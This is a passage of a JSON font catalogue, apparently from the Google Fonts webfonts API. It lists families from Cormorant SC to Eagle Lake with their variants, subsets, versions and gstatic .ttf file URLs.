SC","variants":["300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorantsc/v10/0ybmGD4kxqXBmOVLG30OGwsmABIU_R3y8DOWGA.ttf","regular":"http://fonts.gstatic.com/s/cormorantsc/v10/0yb5GD4kxqXBmOVLG30OGwserDow9Tbu-Q.ttf","500":"http://fonts.gstatic.com/s/cormorantsc/v10/0ybmGD4kxqXBmOVLG30OGwsmWBMU_R3y8DOWGA.ttf","600":"http://fonts.gstatic.com/s/cormorantsc/v10/0ybmGD4kxqXBmOVLG30OGwsmdBQU_R3y8DOWGA.ttf","700":"http://fonts.gstatic.com/s/cormorantsc/v10/0ybmGD4kxqXBmOVLG30OGwsmEBUU_R3y8DOWGA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cormorant Unicase","variants":["300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorantunicase/v10/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9N_tucv7Gy0DRzS.ttf","regular":"http://fonts.gstatic.com/s/cormorantunicase/v10/HI_QiZUaILtOqhqgDeXoF_n1_fTGX-vTnsMnx3C9.ttf","500":"http://fonts.gstatic.com/s/cormorantunicase/v10/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9Mnt-cv7Gy0DRzS.ttf","600":"http://fonts.gstatic.com/s/cormorantunicase/v10/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9MLsOcv7Gy0DRzS.ttf","700":"http://fonts.gstatic.com/s/cormorantunicase/v10/HI_ViZUaILtOqhqgDeXoF_n1_fTGX9Nvsecv7Gy0DRzS.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cormorant Upright","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorantupright/v8/VuJudM3I2Y35poFONtLdafkUCHw1y1N5phDsU9X6RPzQ.ttf","regular":"http://fonts.gstatic.com/s/cormorantupright/v8/VuJrdM3I2Y35poFONtLdafkUCHw1y2vVjjTkeMnz.ttf","500":"http://fonts.gstatic.com/s/cormorantupright/v8/VuJudM3I2Y35poFONtLdafkUCHw1y1MhpxDsU9X6RPzQ.ttf","600":"http://fonts.gstatic.com/s/cormorantupright/v8/VuJudM3I2Y35poFONtLdafkUCHw1y1MNoBDsU9X6RPzQ.ttf","700":"http://fonts.gstatic.com/s/cormorantupright/v8/VuJudM3I2Y35poFONtLdafkUCHw1y1NpoRDsU9X6RPzQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Courgette","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/courgette/v8/wEO_EBrAnc9BLjLQAUkFUfAL3EsHiA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Courier Prime","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/courierprime/v2/u-450q2lgwslOqpF_6gQ8kELWwZjW-_-tvg.ttf","italic":"http://fonts.gstatic.com/s/courierprime/v2/u-4n0q2lgwslOqpF_6gQ8kELawRpX837pvjxPA.ttf","700":"http://fonts.gstatic.com/s/courierprime/v2/u-4k0q2lgwslOqpF_6gQ8kELY7pMf-fVqvHoJXw.ttf","700italic":"http://fonts.gstatic.com/s/courierprime/v2/u-4i0q2lgwslOqpF_6gQ8kELawRR4-LfrtPtNXyeAg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Cousine","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","hebrew","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/cousine/v16/d6lIkaiiRdih4SpPzSMlzTbtz9k.ttf","italic":"http://fonts.gstatic.com/s/cousine/v16/d6lKkaiiRdih4SpP_SEvyRTo39l8hw.ttf","700":"http://fonts.gstatic.com/s/cousine/v16/d6lNkaiiRdih4SpP9Z8K6T7G09BlnmQ.ttf","700italic":"http://fonts.gstatic.com/s/cousine/v16/d6lPkaiiRdih4SpP_SEXdTvM1_JgjmRpOA.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Coustard","variants":["regular","900"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/coustard/v11/3XFpErgg3YsZ5fqUU9UPvWXuROTd.ttf","900":"http://fonts.gstatic.com/s/coustard/v11/3XFuErgg3YsZ5fqUU-2LkEHmb_jU3eRL.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Covered By Your Grace","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/coveredbyyourgrace/v10/QGYwz-AZahWOJJI9kykWW9mD6opopoqXSOS0FgItq6bFIg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Crafty Girls","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/craftygirls/v10/va9B4kXI39VaDdlPJo8N_NvuQR37fF3Wlg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Creepster","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/creepster/v9/AlZy_zVUqJz4yMrniH4hdXf4XB0Tow.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Crete Round","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/creteround/v9/55xoey1sJNPjPiv1ZZZrxJ1827zAKnxN.ttf","italic":"http://fonts.gstatic.com/s/creteround/v9/55xqey1sJNPjPiv1ZZZrxK1-0bjiL2xNhKc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Crimson Pro","variants":["200","300","regular","500","600","700","800","900","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-06-26","files":{"200":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZTm18OJE_VNWoyQ.ttf","300":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZkG18OJE_VNWoyQ.ttf","regular":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZzm18OJE_VNWoyQ.ttf","500":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZ_G18OJE_VNWoyQ.ttf","600":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZEGp8OJE_VNWoyQ.ttf","700":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZKWp8OJE_VNWoyQ.ttf","800":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZTmp8OJE_VNWoyQ.ttf","900":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uUsoa5M_tv7IihmnkabC5XiXCAlXGks1WZZ2p8OJE_VNWoyQ.ttf","200italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi4Ue5s7dtC4yZNE.ttf","300italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi7Ke5s7dtC4yZNE.ttf","italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi6Ue5s7dtC4yZNE.ttf","500italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi6me5s7dtC4yZNE.ttf","600italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi5KfJs7dtC4yZNE.ttf","700italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi5zfJs7dtC4yZNE.ttf","800italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi4UfJs7dtC4yZNE.ttf","900italic":"http://fonts.gstatic.com/s/crimsonpro/v13/q5uSsoa5M_tv7IihmnkabAReu49Y_Bo-HVKMBi49fJs7dtC4yZNE.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Crimson Text","variants":["regular","italic","600","600italic","700","700italic"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/crimsontext/v11/wlp2gwHKFkZgtmSR3NB0oRJvaAJSA_JN3Q.ttf","italic":"http://fonts.gstatic.com/s/crimsontext/v11/wlpogwHKFkZgtmSR3NB0oRJfaghWIfdd3ahG.ttf","600":"http://fonts.gstatic.com/s/crimsontext/v11/wlppgwHKFkZgtmSR3NB0oRJXsCx2C9lR1LFffg.ttf","600italic":"http://fonts.gstatic.com/s/crimsontext/v11/wlprgwHKFkZgtmSR3NB0oRJfajCOD9NV9rRPfrKu.ttf","700":"http://fonts.gstatic.com/s/crimsontext/v11/wlppgwHKFkZgtmSR3NB0oRJX1C12C9lR1LFffg.ttf","700italic":"http://fonts.gstatic.com/s/crimsontext/v11/wlprgwHKFkZgtmSR3NB0oRJfajDqDtNV9rRPfrKu.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Croissant One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/croissantone/v8/3y9n6bU9bTPg4m8NDy3Kq24UM3pqn5cdJ-4.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Crushed","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/crushed/v11/U9Mc6dym6WXImTlFT1kfuIqyLzA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cuprum","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-10-08","files":{"regular":"http://fonts.gstatic.com/s/cuprum/v13/dg45_pLmvrkcOkBnKsOzXyGWTBcmg-X6ZjzSJjQjgnU.ttf","500":"http://fonts.gstatic.com/s/cuprum/v13/dg45_pLmvrkcOkBnKsOzXyGWTBcmg9f6ZjzSJjQjgnU.ttf","600":"http://fonts.gstatic.com/s/cuprum/v13/dg45_pLmvrkcOkBnKsOzXyGWTBcmgzv9ZjzSJjQjgnU.ttf","700":"http://fonts.gstatic.com/s/cuprum/v13/dg45_pLmvrkcOkBnKsOzXyGWTBcmgwL9ZjzSJjQjgnU.ttf","italic":"http://fonts.gstatic.com/s/cuprum/v13/dg47_pLmvrkcOkBNI_FMh0j91rkhli25jn_YIhYmknUPEA.ttf","500italic":"http://fonts.gstatic.com/s/cuprum/v13/dg47_pLmvrkcOkBNI_FMh0j91rkhli25vH_YIhYmknUPEA.ttf","600italic":"http://fonts.gstatic.com/s/cuprum/v13/dg47_pLmvrkcOkBNI_FMh0j91rkhli25UHjYIhYmknUPEA.ttf","700italic":"http://fonts.gstatic.com/s/cuprum/v13/dg47_pLmvrkcOkBNI_FMh0j91rkhli25aXjYIhYmknUPEA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cute Font","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/cutefont/v8/Noaw6Uny2oWPbSHMrY6vmJNVNC9hkw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cutive","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cutive/v12/NaPZcZ_fHOhV3Ip7T_hDoyqlZQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cutive Mono","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cutivemono/v9/m8JWjfRfY7WVjVi2E-K9H5RFRG-K3Mud.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"DM Mono","variants":["300","300italic","regular","italic","500","500italic"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/dmmono/v2/aFTR7PB1QTsUX8KYvrGyIYSnbKX9Rlk.ttf","300italic":"http://fonts.gstatic.com/s/dmmono/v2/aFTT7PB1QTsUX8KYth-orYataIf4VllXuA.ttf","regular":"http://fonts.gstatic.com/s/dmmono/v2/aFTU7PB1QTsUX8KYhh2aBYyMcKw.ttf","italic":"http://fonts.gstatic.com/s/dmmono/v2/aFTW7PB1QTsUX8KYth-QAa6JYKzkXw.ttf","500":"http://fonts.gstatic.com/s/dmmono/v2/aFTR7PB1QTsUX8KYvumzIYSnbKX9Rlk.ttf","500italic":"http://fonts.gstatic.com/s/dmmono/v2/aFTT7PB1QTsUX8KYth-o9YetaIf4VllXuA.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"DM Sans","variants":["regular","italic","500","500italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/dmsans/v6/rP2Hp2ywxg089UriOZSCHBeHFl0.ttf","italic":"http://fonts.gstatic.com/s/dmsans/v6/rP2Fp2ywxg089UriCZaIGDWCBl0O8Q.ttf","500":"http://fonts.gstatic.com/s/dmsans/v6/rP2Cp2ywxg089UriAWCrOB-sClQX6Cg.ttf","500italic":"http://fonts.gstatic.com/s/dmsans/v6/rP2Ap2ywxg089UriCZaw7BymDnYS-Cjk6Q.ttf","700":"http://fonts.gstatic.com/s/dmsans/v6/rP2Cp2ywxg089UriASitOB-sClQX6Cg.ttf","700italic":"http://fonts.gstatic.com/s/dmsans/v6/rP2Ap2ywxg089UriCZawpBqmDnYS-Cjk6Q.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"DM Serif Display","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2019-11-19","files":{"regular":"http://fonts.gstatic.com/s/dmserifdisplay/v4/-nFnOHM81r4j6k0gjAW3mujVU2B2K_d709jy92k.ttf","italic":"http://fonts.gstatic.com/s/dmserifdisplay/v4/-nFhOHM81r4j6k0gjAW3mujVU2B2G_Vx1_r352np3Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"DM Serif Text","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2019-11-19","files":{"regular":"http://fonts.gstatic.com/s/dmseriftext/v4/rnCu-xZa_krGokauCeNq1wWyafOPXHIJErY.ttf","italic":"http://fonts.gstatic.com/s/dmseriftext/v4/rnCw-xZa_krGokauCeNq1wWyWfGFWFAMArZKqQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Damion","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/damion/v10/hv-XlzJ3KEUe_YZUbWY3MTFgVg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Dancing Script","variants":["regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/dancingscript/v15/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BMSoHTeB9ptDqpw.ttf","500":"http://fonts.gstatic.com/s/dancingscript/v15/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7BAyoHTeB9ptDqpw.ttf","600":"http://fonts.gstatic.com/s/dancingscript/v15/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7B7y0HTeB9ptDqpw.ttf","700":"http://fonts.gstatic.com/s/dancingscript/v15/If2cXTr6YS-zF4S-kcSWSVi_sxjsohD9F50Ruu7B1i0HTeB9ptDqpw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Dangrek","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dangrek/v12/LYjCdG30nEgoH8E2gCNqqVIuTN4.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Darker Grotesque","variants":["300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVoxr2AW8hTOsXsX0.ttf","regular":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MH6cuh-mLQlC4BKCtayOfARkSVm7beJWcKUOI.ttf","500":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVo0L3AW8hTOsXsX0.ttf","600":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVo27wAW8hTOsXsX0.ttf","700":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVowrxAW8hTOsXsX0.ttf","800":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVoxbyAW8hTOsXsX0.ttf","900":"http://fonts.gstatic.com/s/darkergrotesque/v2/U9MA6cuh-mLQlC4BKCtayOfARkSVozLzAW8hTOsXsX0.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"David Libre","variants":["regular","500","700"],"subsets":["hebrew","latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/davidlibre/v5/snfus0W_99N64iuYSvp4W_l86p6TYS-Y.ttf","500":"http://fonts.gstatic.com/s/davidlibre/v5/snfzs0W_99N64iuYSvp4W8GIw7qbSjORSo9W.ttf","700":"http://fonts.gstatic.com/s/davidlibre/v5/snfzs0W_99N64iuYSvp4W8HAxbqbSjORSo9W.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Dawning of a New Day","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dawningofanewday/v11/t5t_IQMbOp2SEwuncwLRjMfIg1yYit_nAz8bhWJGNoBE.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Days One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/daysone/v10/mem9YaCnxnKRiYZOCLYVeLkWVNBt.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dekko","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dekko/v7/46khlb_wWjfSrttFR0vsfl1B.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Delius","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/delius/v10/PN_xRfK0pW_9e1rtYcI-jT3L_w.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Delius Swash Caps","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/deliusswashcaps/v12/oY1E8fPLr7v4JWCExZpWebxVKORpXXedKmeBvEYs.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Delius Unicase","variants":["regular","700"],"subsets":["latin"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/deliusunicase/v14/845BNMEwEIOVT8BmgfSzIr_6mmLHd-73LXWs.ttf","700":"http://fonts.gstatic.com/s/deliusunicase/v14/845CNMEwEIOVT8BmgfSzIr_6mlp7WMr_BmmlS5aw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Della Respira","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dellarespira/v8/RLp5K5v44KaueWI6iEJQBiGPRfkSu6EuTHo.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Denk One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/denkone/v8/dg4m_pzhrqcFb2IzROtHpbglShon.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Devonshire","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/devonshire/v9/46kqlbDwWirWr4gtBD2BX0Vq01lYAZM.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Dhurjati","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dhurjati/v8/_6_8ED3gSeatXfFiFX3ySKQtuTA2.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Didact Gothic","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/didactgothic/v14/ahcfv8qz1zt6hCC5G4F_P4ASpUySp0LlcyQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Diplomata","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/diplomata/v12/Cn-0JtiMXwhNwp-wKxyfYGxYrdM9Sg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Diplomata SC","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/diplomatasc/v9/buExpoi3ecvs3kidKgBJo2kf-P5Oaiw4cw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Do Hyeon","variants":["regular"],"subsets":["korean","latin"],"version":"v11","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/dohyeon/v11/TwMN-I8CRRU2zM86HFE3ZwaH__-C.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dokdo","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/dokdo/v8/esDf315XNuCBLxLo4NaMlKcH.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Domine","variants":["regular","500","600","700"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-29","files":{"regular":"http://fonts.gstatic.com/s/domine/v10/L0xhDFMnlVwD4h3Lt9JWnbX3jG-2X3LAI10VErGuW8Q.ttf","500":"http://fonts.gstatic.com/s/domine/v10/L0xhDFMnlVwD4h3Lt9JWnbX3jG-2X0DAI10VErGuW8Q.ttf","600":"http://fonts.gstatic.com/s/domine/v10/L0xhDFMnlVwD4h3Lt9JWnbX3jG-2X6zHI10VErGuW8Q.ttf","700":"http://fonts.gstatic.com/s/domine/v10/L0xhDFMnlVwD4h3Lt9JWnbX3jG-2X5XHI10VErGuW8Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Donegal One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/donegalone/v8/m8JWjfRYea-ZnFz6fsK9FZRFRG-K3Mud.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Doppio One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/doppioone/v8/Gg8wN5gSaBfyBw2MqCh-lgshKGpe5Fg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dorsa","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dorsa/v11/yYLn0hjd0OGwqo493XCFxAnQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dosis","variants":["200","300","regular","500","600","700","800"],"subsets":["latin","latin-ext","vietnamese"],"version":"v18","lastModified":"2020-06-26","files":{"200":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJt7MV3BkFTq4EPw.ttf","300":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJabMV3BkFTq4EPw.ttf","regular":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJN7MV3BkFTq4EPw.ttf","500":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJBbMV3BkFTq4EPw.ttf","600":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJ6bQV3BkFTq4EPw.ttf","700":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJ0LQV3BkFTq4EPw.ttf","800":"http://fonts.gstatic.com/s/dosis/v18/HhyJU5sn9vOmLxNkIwRSjTVNWLEJt7QV3BkFTq4EPw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dr Sugiyama","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/drsugiyama/v10/HTxoL2k4N3O9n5I1boGI7abRM4-t-g7y.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Duru Sans","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/durusans/v14/xn7iYH8xwmSyTvEV_HOxT_fYdN-WZw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Dynalight","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/dynalight/v9/1Ptsg8LOU_aOmQvTsF4ISotrDfGGxA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"EB Garamond","variants":["regular","500","600","700","800","italic","500italic","600italic","700italic","800italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-6_RUA4V-e6yHgQ.ttf","500":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-2fRUA4V-e6yHgQ.ttf","600":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-NfNUA4V-e6yHgQ.ttf","700":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-DPNUA4V-e6yHgQ.ttf","800":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGDmQSNjdsmc35JDF1K5E55YMjF_7DPuGi-a_NUA4V-e6yHgQ.ttf","italic":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7e8QI96WamXgXFI.ttf","500italic":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7eOQI96WamXgXFI.ttf","600italic":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7diR496WamXgXFI.ttf","700italic":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7dbR496WamXgXFI.ttf","800italic":"http://fonts.gstatic.com/s/ebgaramond/v14/SlGFmQSNjdsmc35JDF1K5GRwUjcdlttVFm-rI7c8R496WamXgXFI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Eagle Lake","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/eaglelake/v8/ptRMTiqbbuNJDOiKj9wG5O7yKQNute8.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"East Sea 